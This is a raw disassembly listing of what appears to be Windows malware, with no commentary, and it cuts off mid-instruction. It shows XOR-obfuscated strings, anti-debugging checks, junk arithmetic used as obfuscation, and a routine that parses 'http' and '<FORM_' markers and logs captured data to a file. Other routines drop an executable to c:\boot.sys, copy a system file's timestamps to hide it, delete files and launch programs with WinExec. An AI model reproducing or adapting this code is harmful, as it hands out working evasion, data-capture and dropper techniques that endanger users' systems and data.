ebx, eax call sub_40C968 ; RtlGetLastWin32Error or ebx, ebx jnz loc_407953 and [ebp+var_52688], 0 jmp loc_40793F ; --------------------------------------------------------------------------- loc_407710: ; CODE XREF: sub_406EA8+AA3j call sub_40C9D4 ; GetVersion push 0 call sub_40CDDC pop ecx mov [ebp+var_62800], 2 mov eax, [ebp+var_52688] mov [ebp+var_627F8], eax lea eax, [ebp+var_627F0] push eax lea esi, [ebp+var_62800] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_62800] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_62694] push edi mov edi, [edi] call dword ptr [edi+74h] mov ebx, eax or ebx, ebx jnz loc_407939 and [ebp+var_627EC], 0 lea eax, [ebp+var_627EC] push eax push offset dword_447B1C mov eax, [ebp+var_627F0] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov [ebp+var_62812], 7E5Bh add [ebp+var_62812], 501Eh or ebx, ebx jnz loc_407916 lea edi, [ebp+var_62816] lea esi, byte_44240B mov ecx, 3 rep movsb cmp [ebp+var_627EC], 0 jz loc_407916 call sub_40C9D4 ; GetVersion lea eax, [ebp+var_62810] push eax push 0 push [ebp+var_10FA8] mov eax, [ebp+var_627EC] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax lea edi, [ebp+var_6281B] lea esi, a1rgk ; "1Rgk" mov ecx, 5 rep movsb or ebx, ebx jnz loc_407916 mov ax, word_442413 mov [ebp+var_6281E+1], ax cmp [ebp+var_62810], 8 jnz loc_407916 mov [ebp+var_62813], 70h add [ebp+var_62813], 40h movzx edi, [ebp+var_2] mov esi, [ebp+var_627EC] mov [ebp+edi*4+var_10FA4], esi movzx edi, [ebp+var_2] mov esi, [ebp+var_52688] mov [ebp+edi*2+var_1177C], si lea eax, [ebp+var_62810] push eax push 0 push [ebp+var_10FAC] mov eax, [ebp+var_627EC] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax or ebx, ebx jnz loc_407912 mov [ebp+var_6381E], 1487h movzx eax, [ebp+var_6381E] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_6381E], ax mov ax, word_442415 mov [ebp+var_63826], ax call sub_40C968 ; RtlGetLastWin32Error lea eax, [ebp+var_6381C] push eax push [ebp+var_62808] call sub_4069C0 add esp, 8 mov edi, eax inc edi mov [ebp+var_63824], edi lea edi, [ebp+var_6382B] lea esi, aP_1 ; "&p|*" mov ecx, 5 rep movsb cmp [ebp+var_6381C], 0 jz short loc_40790D cmp [ebp+var_63824], 64h jnb short loc_40790D lea eax, [ebp+var_6381C] push eax movzx eax, [ebp+var_2] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax call sub_40C8DC loc_40790D: ; CODE XREF: sub_406EA8+A3Fj ; sub_406EA8+A48j call sub_40C968 ; RtlGetLastWin32Error loc_407912: ; CODE XREF: sub_406EA8+9D2j inc [ebp+var_2] loc_407916: ; CODE XREF: sub_406EA8+904j ; sub_406EA8+924j ... cmp [ebp+var_627EC], 0 jz short $+2 cmp [ebp+var_627F0], 0 jz short loc_407934 mov eax, [ebp+var_627F0] push eax mov esi, [eax] call dword ptr [esi+8] loc_407934: ; CODE XREF: sub_406EA8+A7Ej call sub_40C9D4 ; GetVersion loc_407939: ; CODE XREF: sub_406EA8+8C5j inc [ebp+var_52688] loc_40793F: ; CODE XREF: sub_406EA8+863j mov eax, [ebp+var_626A0] cmp [ebp+var_52688], eax jb loc_407710 jmp short loc_4079B4 ; --------------------------------------------------------------------------- loc_407953: ; CODE XREF: sub_406EA8+856j cmp [ebp+var_62694], 0 jz short loc_407968 mov eax, [ebp+var_62694] push eax mov esi, [eax] call dword ptr [esi+8] loc_407968: ; CODE XREF: sub_406EA8+AB2j mov [ebp+var_626BE], 0B7h movzx eax, [ebp+var_626BE] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_626BE], al loc_407982: ; CODE XREF: sub_406EA8+82Fj cmp [ebp+var_626A4], 0 jz short loc_407997 mov eax, [ebp+var_626A4] push eax mov esi, [eax] call dword ptr [esi+8] loc_407997: ; CODE XREF: sub_406EA8+AE1j mov [ebp+var_626C0], 7BFDh movzx eax, [ebp+var_626C0] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_626C0], ax loc_4079B4: ; CODE XREF: sub_406EA8+451j ; sub_406EA8+AA9j inc [ebp+var_21784] loc_4079BA: ; CODE XREF: sub_406EA8+3EAj mov eax, [ebp+var_525EC] cmp [ebp+var_21784], eax jb loc_407297 loc_4079CC: ; CODE XREF: sub_406EA8+29Bj ; sub_406EA8+2FCj ... inc [ebp+var_524CC] mov eax, [ebp+var_52634] cmp [ebp+var_524CC], eax jl loc_407105 mov [ebp+var_52621], 8Dh sub [ebp+var_52621], 9Bh loc_4079F2: ; CODE XREF: sub_406EA8+C5Dj push 0 call sub_40CDDC pop ecx call sub_40C998 ; GetProcessHeap mov [ebp+var_21786], 0 jmp loc_407AC9 ; --------------------------------------------------------------------------- loc_407A0D: ; CODE XREF: sub_406EA8+C2Ej lea edi, [ebp+var_62685] lea esi, byte_44241C xor ecx, ecx inc ecx rep movsb lea eax, [ebp+var_524E0] push eax push 0 push [ebp+var_10FA8] movzx edi, [ebp+var_21786] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax call sub_40C968 ; RtlGetLastWin32Error or ebx, ebx jnz short loc_407AC2 mov [ebp+var_62680], 1601h inc [ebp+var_62680] lea edi, [ebp+var_62690+3] lea esi, aVG_tM ; " .T<m" movsd movsd lea eax, [ebp+var_6267D] push eax push [ebp+var_524D8] call sub_4069C0 add esp, 8 mov edi, eax inc edi mov [ebp+var_62684], edi call sub_40CA58 ; IsDebuggerPresent cmp [ebp+var_6267D], 0 jz short loc_407AC2 call sub_40C9D4 ; GetVersion cmp [ebp+var_62684], 64h jnb short loc_407AC2 lea eax, [ebp+var_6267D] push eax movzx eax, [ebp+var_21786] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax call sub_40C8DC loc_407AC2: ; CODE XREF: sub_406EA8+BA2j ; sub_406EA8+BECj ... inc [ebp+var_21786] loc_407AC9: ; CODE XREF: sub_406EA8+B60j movzx eax, [ebp+var_21786] movzx edx, [ebp+var_2] cmp eax, edx jl loc_407A0D lea eax, [ebp+var_525FA] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax or ebx, ebx jnz loc_407F27 call sub_40C998 ; GetProcessHeap cmp [ebp+var_525FA], 0 jz loc_4079F2 call sub_40C9C8 ; GetTickCount lea edi, [ebp+var_5265F] lea esi, aBktcd ; "BKTcd" mov ecx, 3 rep movsw mov [ebp+var_2177D], 0 push offset byte_41FD50 lea eax, [ebp+var_2177D] push eax call sub_40C8DC mov [ebp+var_525E8], 1 mov [ebp+var_1177E], 0 jmp loc_407C6E ; --------------------------------------------------------------------------- loc_407B54: ; CODE XREF: sub_406EA8+DD3j mov [ebp+var_52684], 4C26h inc [ebp+var_52684] movzx eax, [ebp+var_1177E] imul eax, 64h cmp [ebp+eax+var_524C8], 0 jz loc_407C67 call sub_40C938 ; GetCurrentProcessId and [ebp+var_525E8], 0 push 4 push offset byte_446F0F call sub_406E1B movzx edi, [ebp+var_1177E] push edi push eax lea edi, [ebp+var_525DF] push edi call sub_40CE54 mov word ptr [ebp+var_52688+2], 3C74h inc word ptr [ebp+var_52688+2] lea eax, [ebp+var_525DF] push eax lea eax, [ebp+var_2177D] push eax call sub_40CE78 movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax lea eax, [ebp+var_2177D] push eax call sub_40CE78 mov word ptr [ebp+var_52688], 2CFFh movzx eax, word ptr [ebp+var_52688] imul eax, 66C8h mov word ptr [ebp+var_52688], ax push 1 push offset byte_446F0D call sub_406E1B push eax lea edi, [ebp+var_2177D] push edi call sub_40CE78 call sub_40C938 ; GetCurrentProcessId movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax lea eax, [ebp+var_2177D] push eax call sub_40CE78 add esp, 3Ch mov [ebp+var_5268C], 7CE2h mov eax, 50A1h mul [ebp+var_5268C] mov [ebp+var_52690], eax mov [ebp+var_5268C], eax loc_407C67: ; CODE XREF: sub_406EA8+CCEj inc [ebp+var_1177E] loc_407C6E: ; CODE XREF: sub_406EA8+CA7j movzx eax, [ebp+var_1177E] movzx edx, [ebp+var_2] cmp eax, edx jl loc_407B54 cmp [ebp+var_525E8], 0 jnz loc_407EA7 push 1 push offset byte_446F0B call sub_406E1B push eax lea edi, [ebp+var_2177D] push edi call sub_40CE78 lea edi, [ebp+var_52665] lea esi, aE0zf6 ; "e0zf6" mov ecx, 3 rep movsw lea eax, [ebp+var_10001] push eax lea eax, [ebp+var_2177D] push eax call sub_40CE78 add esp, 18h mov [ebp+var_52622], 7Eh movzx eax, [ebp+var_52622] imul eax, 1BE4h mov [ebp+var_52622], al cmp ds:byte_41FD50, 68h jnz short loc_407D0F cmp ds:byte_41FD51, 74h jnz short loc_407D0F cmp ds:byte_41FD52, 74h jnz short loc_407D0F cmp ds:byte_41FD53, 70h jz short loc_407D14 loc_407D0F: ; CODE XREF: sub_406EA8+E4Aj ; sub_406EA8+E53j ... jmp loc_407E61 ; --------------------------------------------------------------------------- loc_407D14: ; CODE XREF: sub_406EA8+E65j call sub_40C944 ; GetCurrentThreadId push 8 push offset word_446F02 call sub_406E1B mov edi, 0Ch sub edi, dword_4423B4 push edi push eax push offset byte_41FD50 call sub_401883 add esp, 14h cmp eax, 0FFFFh jz short loc_407D77 push 0Eh push offset byte_446EF3 call sub_406E1B mov edi, 8 sub edi, dword_4423B0 push edi push eax push offset byte_41FD50 call sub_401883 add esp, 14h cmp eax, 0FFFFh jz loc_407E61 loc_407D77: ; CODE XREF: sub_406EA8+E9Cj call sub_40CA58 ; IsDebuggerPresent mov [ebp+var_525EE], 0 loc_407D85: ; CODE XREF: sub_406EA8+F86j mov eax, 0Ch sub eax, dword_4423B4 push eax movzx eax, [ebp+var_525EE] lea eax, ds:4423C0h[eax] push eax push offset byte_41FD50 call sub_401883 add esp, 0Ch cmp eax, 0FFFFh jz short loc_407DE4 call sub_40C998 ; GetProcessHeap push 1 lea eax, [ebp+var_2177D] push eax call ds:dword_40F268 mov [ebp+var_52684], 3041h mov eax, [ebp+var_52684] mov edx, eax add edx, eax mov [ebp+var_52684], edx jmp short loc_407E61 ; --------------------------------------------------------------------------- loc_407DE4: ; CODE XREF: sub_406EA8+F0Aj movzx eax, [ebp+var_525EE] mov [ebp+var_52684], eax lea ecx, ds:4423C0h[eax] or eax, 0FFFFFFFFh loc_407DFB: ; CODE XREF: sub_406EA8+F58j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_407DFB mov esi, [ebp+var_52684] add esi, eax mov edi, esi mov [ebp+var_525EE], di call sub_40C9D4 ; GetVersion inc [ebp+var_525EE] movzx eax, [ebp+var_525EE] cmp byte_4423C0[eax], 0 jnz loc_407D85 mov eax, dword_442431 mov [ebp+var_52669], eax push 0 lea eax, [ebp+var_2177D] push eax call ds:dword_40F268 lea edi, [ebp+var_52670] lea esi, aANfd ; " nfd" mov ecx, 7 rep movsb loc_407E61: ; CODE XREF: sub_406EA8:loc_407D0Fj ; sub_406EA8+EC9j ... mov [ebp+var_21788], 0 jmp short loc_407E98 ; --------------------------------------------------------------------------- loc_407E6C: ; CODE XREF: sub_406EA8+FFDj movzx edi, [ebp+var_21788] cmp [ebp+edi*4+var_10FA4], 0 jz short loc_407E91 movzx edi, [ebp+var_21788] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+8] loc_407E91: ; CODE XREF: sub_406EA8+FD3j inc [ebp+var_21788] loc_407E98: ; CODE XREF: sub_406EA8+FC2j movzx eax, [ebp+var_21788] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_407E6C loc_407EA7: ; CODE XREF: sub_406EA8+3D8j ; sub_406EA8+DE0j cmp [ebp+var_525E4], 0 jz short loc_407EBC mov eax, [ebp+var_525E4] push eax mov esi, [eax] call dword ptr [esi+8] loc_407EBC: ; CODE XREF: sub_406EA8+1006j lea edi, [ebp+var_52678] lea esi, aG4ug7i ; "g4Ug,7I" movsd movsd cmp [ebp+var_5260C], 0 jz short loc_407EDF mov eax, [ebp+var_5260C] push eax mov esi, [eax] call dword ptr [esi+8] loc_407EDF: ; CODE XREF: sub_406EA8+1029j lea edi, [ebp+var_5267E] lea esi, aFmC ; "Fm>c`" mov ecx, 3 rep movsw cmp [ebp+var_52604], 0 jz short loc_407F08 mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F08: ; CODE XREF: sub_406EA8+1052j call sub_40C9D4 ; GetVersion loc_407F0D: ; CODE XREF: sub_406EA8+245j cmp [ebp+var_52600], 0 jz short loc_407F22 mov eax, [ebp+var_52600] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F22: ; CODE XREF: sub_406EA8+106Cj call sub_40C9C8 ; GetTickCount loc_407F27: ; CODE XREF: sub_406EA8+13Aj ; sub_406EA8+187j ... cmp [ebp+var_525F8], 0 jz short loc_407F3C mov eax, [ebp+var_525F8] push eax mov esi, [eax] call dword ptr [esi+8] loc_407F3C: ; CODE XREF: sub_406EA8+1086j mov [ebp+var_52605], 2Dh movzx eax, [ebp+var_52605] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_52605], al loc_407F56: ; CODE XREF: sub_406EA8+F7j cmp [ebp+var_525F4], 0 jz loc_406F10 mov eax, [ebp+var_525F4] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_406F10 ; --------------------------------------------------------------------------- loc_407F74: ; CODE XREF: sub_406EA8+5Dj pop edi pop esi pop ebx leave retn sub_406EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F79 proc near ; DATA XREF: sub_40802E+22o var_21 = byte ptr -21h var_20 = dword ptr -20h var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset byte_44244B push offset sub_40109A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1A], 6828h inc [ebp+var_1A] mov [ebp+var_4], 0 call sub_40C9C8 ; GetTickCount loc_407FB5: ; CODE XREF: sub_407F79+6Fj ; sub_407F79+9Aj call sub_40C944 ; GetCurrentThreadId mov edi, dword_4423B4 add edi, 1E9h push edi call sub_40CDDC add esp, 4 mov [ebp+var_1B], 98h add [ebp+var_1B], 0ABh call sub_406EA8 call sub_40C944 ; GetCurrentThreadId cmp dword_4423BC, 0 jnz short loc_407FB5 jmp short loc_40801C ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh jmp short loc_40801C ; --------------------------------------------------------------------------- mov [ebp+var_20], 1 mov eax, [ebp+var_20] retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] lea edi, [ebp+var_21] lea esi, byte_44244A mov ecx, 1 rep movsb jmp short loc_407FB5 ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh loc_40801C: ; CODE XREF: sub_407F79+71j ; sub_407F79+7Aj pop edi pop esi pop ebx xchg eax, ecx mov eax, [ebp+var_10] mov large fs:0, eax xchg eax, ecx leave retn 4 sub_407F79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40802E proc near ; CODE XREF: sub_40AB84+78Cp var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_40C938 ; GetCurrentProcessId mov eax, [ebp+arg_0] mov ds:dword_40F268, eax call sub_40C938 ; GetCurrentProcessId push offset dword_4423BC push 0 push 0 push offset sub_407F79 push 0 push 0 call sub_40CB84 ; CreateThread mov ebx, eax call sub_40C9C8 ; GetTickCount push ebx call sub_40C9B0 ; CloseHandle lea edi, [ebp+var_3] lea esi, byte_442457 mov ecx, 3 rep movsb pop edi pop esi pop ebx leave retn sub_40802E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi call sub_40C998 ; GetProcessHeap cmp dword_442370, 0 jnz short loc_408096 xor eax, eax jmp short loc_4080DF ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: .text:00408090j call sub_40C9D4 ; GetVersion mov eax, ds:dword_42FD54 cmp [ebp+8], eax jz short loc_4080A9 xor eax, eax jmp short loc_4080DF ; --------------------------------------------------------------------------- loc_4080A9: ; CODE XREF: .text:004080A3j mov edi, 4F41h add edi, 2B7Dh lea ecx, byte_41FD50 or eax, 0FFFFFFFFh loc_4080BD: ; CODE XREF: .text:004080C2j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4080BD mov edi, eax add edi, 1 push edi push offset byte_41FD50 push dword ptr [ebp+0Ch] call sub_40CE18 add esp, 0Ch mov eax, 1 loc_4080DF: ; CODE XREF: .text:00408094j ; .text:004080A7j pop edi pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080E2 proc near ; CODE XREF: sub_408165+234p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_442464 lea eax, ds:4152F0h[eax] push eax call sub_40CE18 add esp, 0Ch mov [ebp+var_4], 2E0h xor edi, edi jmp short loc_408129 ; --------------------------------------------------------------------------- loc_40810F: ; CODE XREF: sub_4080E2+49j mov eax, dword_442464 add eax, edi lea eax, ds:4152F0h[eax] movsx edx, byte ptr [eax] xor edx, 0EBh mov [eax], dl inc edi loc_408129: ; CODE XREF: sub_4080E2+2Bj cmp edi, esi jl short loc_40810F mov eax, dword_442464 add eax, esi mov byte ptr ds:dword_4152F0[eax], 0 mov edi, dword_442464 mov eax, edi lea eax, [eax+esi+2] mov dword_442464, eax cmp eax, 0DD0h jle short loc_40815B and dword_442464, 0 loc_40815B: ; CODE XREF: sub_4080E2+70j lea eax, dword_4152F0[edi] pop edi pop esi leave retn sub_4080E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408165 proc near ; DATA XREF: sub_40AB84+787o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_16 = byte ptr -16h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea edi, [ebp+var_16] lea esi, a61xo ; "61Xo+" mov ecx, 3 rep movsw and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_10], 0 loc_40818B: ; CODE XREF: sub_408165+1B1j mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ah jnz loc_4082C2 call sub_40C998 ; GetProcessHeap mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [eax+edx+11h], 20h jz short loc_4081B8 cmp byte ptr [eax+edx+14h], 20h jnz loc_4082C2 loc_4081B8: ; CODE XREF: sub_408165+46j call sub_40C944 ; GetCurrentThreadId mov eax, [ebp+var_4] inc eax mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 34h jz short loc_4081D3 cmp al, 35h jnz loc_4082C2 loc_4081D3: ; CODE XREF: sub_408165+64j mov eax, [ebp+var_4] add eax, 11h mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 20h jnz short loc_4081EB mov [ebp+var_8], 10h jmp short loc_4081F2 ; --------------------------------------------------------------------------- loc_4081EB: ; CODE XREF: sub_408165+7Bj mov [ebp+var_8], 13h loc_4081F2: ; CODE XREF: sub_408165+84j mov [ebp+var_9], 0 xor ebx, ebx jmp loc_408295 ; --------------------------------------------------------------------------- loc_4081FD: ; CODE XREF: sub_408165+133j call sub_40C968 ; RtlGetLastWin32Error cmp [ebp+var_8], 13h jnz short loc_40823E mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 2Dh jnz short loc_40823E mov edi, 5 mov esi, ebx inc esi mov [ebp+var_28], edi mov eax, esi mov ecx, edi xor edx, edx div ecx mov [ebp+var_2C], eax mov eax, edi mov edi, [ebp+var_2C] mul [ebp+var_2C] mov [ebp+var_30], eax mov edi, eax cmp edi, esi jz short loc_408294 loc_40823E: ; CODE XREF: sub_408165+A1j ; sub_408165+B0j lea edi, [ebp+var_24] lea esi, a7kq ; "*7kq=" mov ecx, 3 rep movsw mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 30h jl short loc_408263 cmp al, 39h jle short loc_408265 loc_408263: ; CODE XREF: sub_408165+F8j jmp short loc_4082C2 ; --------------------------------------------------------------------------- loc_408265: ; CODE XREF: sub_408165+FCj mov [ebp+var_1E], 1753h movzx eax, [ebp+var_1E] imul eax, 4D86h mov [ebp+var_1E], ax movzx eax, [ebp+var_9] mov edx, [ebp+var_4] inc edx add edx, ebx mov ecx, [ebp+arg_0] mov dl, [ecx+edx] mov ds:byte_434080[eax], dl add [ebp+var_9], 1 loc_408294: ; CODE XREF: sub_408165+D7j inc ebx loc_408295: ; CODE XREF: sub_408165+93j cmp ebx, [ebp+var_8] jb loc_4081FD mov eax, [ebp+var_8] mov ds:byte_434080[eax], 0 call sub_40132A or eax, eax jz short loc_4082B9 call sub_40C9C8 ; GetTickCount jmp short loc_4082C2 ; --------------------------------------------------------------------------- loc_4082B9: ; CODE XREF: sub_408165+14Bj mov [ebp+var_10], 1 jmp short loc_40831F ; --------------------------------------------------------------------------- loc_4082C2: ; CODE XREF: sub_408165+30j ; sub_408165+4Dj ... inc [ebp+var_4] mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 0 jz short loc_40831B call sub_40C968 ; RtlGetLastWin32Error mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ch jnz short loc_408305 cmp byte ptr [eax+edx+1], 46h jnz short loc_408305 cmp byte ptr [eax+edx+2], 4Fh jnz short loc_408305 cmp byte ptr [eax+edx+3], 52h jnz short loc_408305 cmp byte ptr [eax+edx+4], 4Dh jnz short loc_408305 cmp byte ptr [eax+edx+5], 5Fh jz short loc_40831B loc_408305: ; CODE XREF: sub_408165+17Bj ; sub_408165+182j ... lea edi, [ebp+var_1C] lea esi, aEQbl ; "E;Qbl" mov ecx, 3 rep movsw jmp loc_40818B ; --------------------------------------------------------------------------- loc_40831B: ; CODE XREF: sub_408165+16Aj ; sub_408165+19Ej and [ebp+var_10], 0 loc_40831F: ; CODE XREF: sub_408165+15Bj cmp [ebp+var_10], 0 jz short loc_408334 mov eax, ds:dword_42FD54 mov dword_43C220, eax jmp loc_4083E1 ; --------------------------------------------------------------------------- loc_408334: ; CODE XREF: sub_408165+1BEj mov [ebp+var_24], 14DBh add [ebp+var_24], 9CBh push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40E070 call sub_40CAD0 ; CreateFileA mov [ebp-20h], eax push 2 push 0 push 0 push eax call sub_40CADC ; SetFilePointer mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_408372: ; CODE XREF: sub_408165+212j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_408372 mov edi, eax push 0 lea esi, [ebp+var_2C] push esi push edi push [ebp+arg_0] push dword ptr [ebp-20h] call sub_40CB48 ; WriteFile call sub_40C938 ; GetCurrentProcessId push 2 push offset aCs ; "" call sub_4080E2 add esp, 8 push 0 lea edi, [ebp+var_2C] push edi mov edi, 11h sub edi, dword_442460 push edi push eax push dword ptr [ebp-20h] call sub_40CB48 ; WriteFile mov byte ptr [ebp+var_28+3], 3Fh movzx eax, byte ptr [ebp+var_28+3] imul eax, 73A6h mov byte ptr [ebp+var_28+3], al push dword ptr [ebp-20h] call sub_40C9B0 ; CloseHandle mov word ptr [ebp+var_28], 7A7Fh sub word ptr [ebp+var_28], 7E05h loc_4083E1: ; CODE XREF: sub_408165+1CAj pop edi pop esi pop ebx leave retn sub_408165 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083E6 proc near ; CODE XREF: sub_408477+64p ; sub_408585+C4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_446484 lea eax, ds:40D000h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_408426 ; --------------------------------------------------------------------------- loc_40840C: ; CODE XREF: sub_4083E6+42j mov eax, dword_446484 add eax, edi lea eax, ds:40D000h[eax] movsx edx, byte ptr [eax] xor edx, 0E9h mov [eax], dl inc edi loc_408426: ; CODE XREF: sub_4083E6+24j cmp edi, esi jl short loc_40840C mov eax, dword_446484 add eax, esi mov byte ptr ds:dword_40D000[eax], 0 xor edi, edi mov edi, dword_446484 mov eax, edi lea eax, [eax+esi+1] mov dword_446484, eax add dword_446484, 3 cmp dword_446484, 0DE9h jle short loc_408466 and dword_446484, 0 loc_408466: ; CODE XREF: sub_4083E6+77j mov [ebp+var_4], 13Eh lea eax, dword_40D000[edi] pop edi pop esi leave retn sub_4083E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408477 proc near ; CODE XREF: sub_408585+92p var_235 = word ptr -235h var_233 = dword ptr -233h var_22F = byte ptr -22Fh var_227 = byte ptr -227h var_21F = byte ptr -21Fh var_217 = word ptr -217h var_215 = byte ptr -215h var_20D = word ptr -20Dh var_20B = byte ptr -20Bh var_106 = byte ptr -106h var_105 = byte ptr -105h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi mov ax, word_446488 mov [ebp+var_20D], ax lea edi, [ebp+var_215] lea esi, aMcVdB ; "Mc d+B" movsd movsd mov ax, word_446492 mov [ebp+var_217], ax push 104h lea eax, [ebp+var_20B] push eax call sub_40C9A4 ; GetSystemDirectoryA lea eax, [ebp+var_20B] push eax lea eax, [ebp+var_105] push eax call sub_40C8DC call sub_40C968 ; RtlGetLastWin32Error push 0Dh push offset aVmizmeNee ; "Ǎ" call sub_4083E6 push eax lea edi, [ebp+var_105] push edi call sub_40CE78 add esp, 10h mov [ebp+var_106], 12h add [ebp+var_106], 46h push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_105] push eax call sub_40CAD0 ; CreateFileA mov ebx, eax mov eax, dword_446494 mov [ebp+var_233], eax cmp ebx, 0FFFFFFFFh jz short loc_408580 call sub_40C9D4 ; GetVersion lea eax, [ebp+var_22F] push eax lea eax, [ebp+var_227] push eax lea eax, [ebp+var_21F] push eax push ebx call sub_40C95C ; GetFileTime lea eax, [ebp+var_22F] push eax lea eax, [ebp+var_227] push eax lea eax, [ebp+var_21F] push eax push [ebp+arg_0] call sub_40CAE8 ; SetFileTime call sub_40C9C8 ; GetTickCount push ebx call sub_40C9B0 ; CloseHandle mov ax, word_446498 mov [ebp+var_235], ax loc_408580: ; CODE XREF: sub_408477+B2j pop edi pop esi pop ebx leave retn sub_408477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408585 proc near ; CODE XREF: sub_40AB84+91p var_225 = byte ptr -225h var_220 = byte ptr -220h var_21A = byte ptr -21Ah var_116 = byte ptr -116h var_10A = word ptr -10Ah var_108 = word ptr -108h var_106 = word ptr -106h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 228h push ebx push esi push edi mov [ebp+var_106], 5984h movzx eax, [ebp+var_106] imul eax, 3A02h mov [ebp+var_106], ax call sub_40C9D4 ; GetVersion cmp eax, 80000000h jnb loc_4086CF call sub_40C938 ; GetCurrentProcessId lea edi, [ebp+var_116] lea esi, aCBoot_sys ; "c:\\boot.sys" mov ecx, 3 rep movsd push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_116] push eax call sub_40CAD0 ; CreateFileA mov ebx, eax call sub_40C9C8 ; GetTickCount push 0 lea eax, [ebp+var_220] push eax push 4001h push offset aMzr ; "MZ" push ebx call sub_40CB48 ; WriteFile call sub_40C998 ; GetProcessHeap push ebx call sub_408477 call sub_40C9C8 ; GetTickCount push ebx call sub_40C9B0 ; CloseHandle call sub_40C944 ; GetCurrentThreadId push 104h lea eax, [ebp+var_104] push eax call sub_40C9A4 ; GetSystemDirectoryA call sub_40C9D4 ; GetVersion push 0Ah push offset aKdnSap ; "̚Ǚ" call sub_4083E6 lea edi, [ebp+var_104] push edi push eax lea edi, [ebp+var_21A] push edi call sub_40CE54 mov [ebp+var_108], 3632h add [ebp+var_108], 6660h push 1Dh push offset aKdnMsmKAiiaKLj ; "njƪɚɊӵǚ" call sub_4083E6 push eax lea edi, [ebp+var_104] push edi call sub_40CE78 add esp, 28h mov [ebp+var_10A], 7BA5h add [ebp+var_10A], 41F4h lea eax, [ebp+var_21A] push eax call sub_40C908 ; DeleteFileA push 0 lea eax, [ebp+var_104] push eax call sub_40CB3C ; WinExec lea edi, [ebp+var_225] lea esi, aU09 ; "u0 9" mov ecx, 5 rep movsb loc_4086CF: ; CODE XREF: sub_408585+33j pop edi pop esi pop ebx leave retn sub_408585 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 37Eh push esi push dword ptr [ebp+8] mov 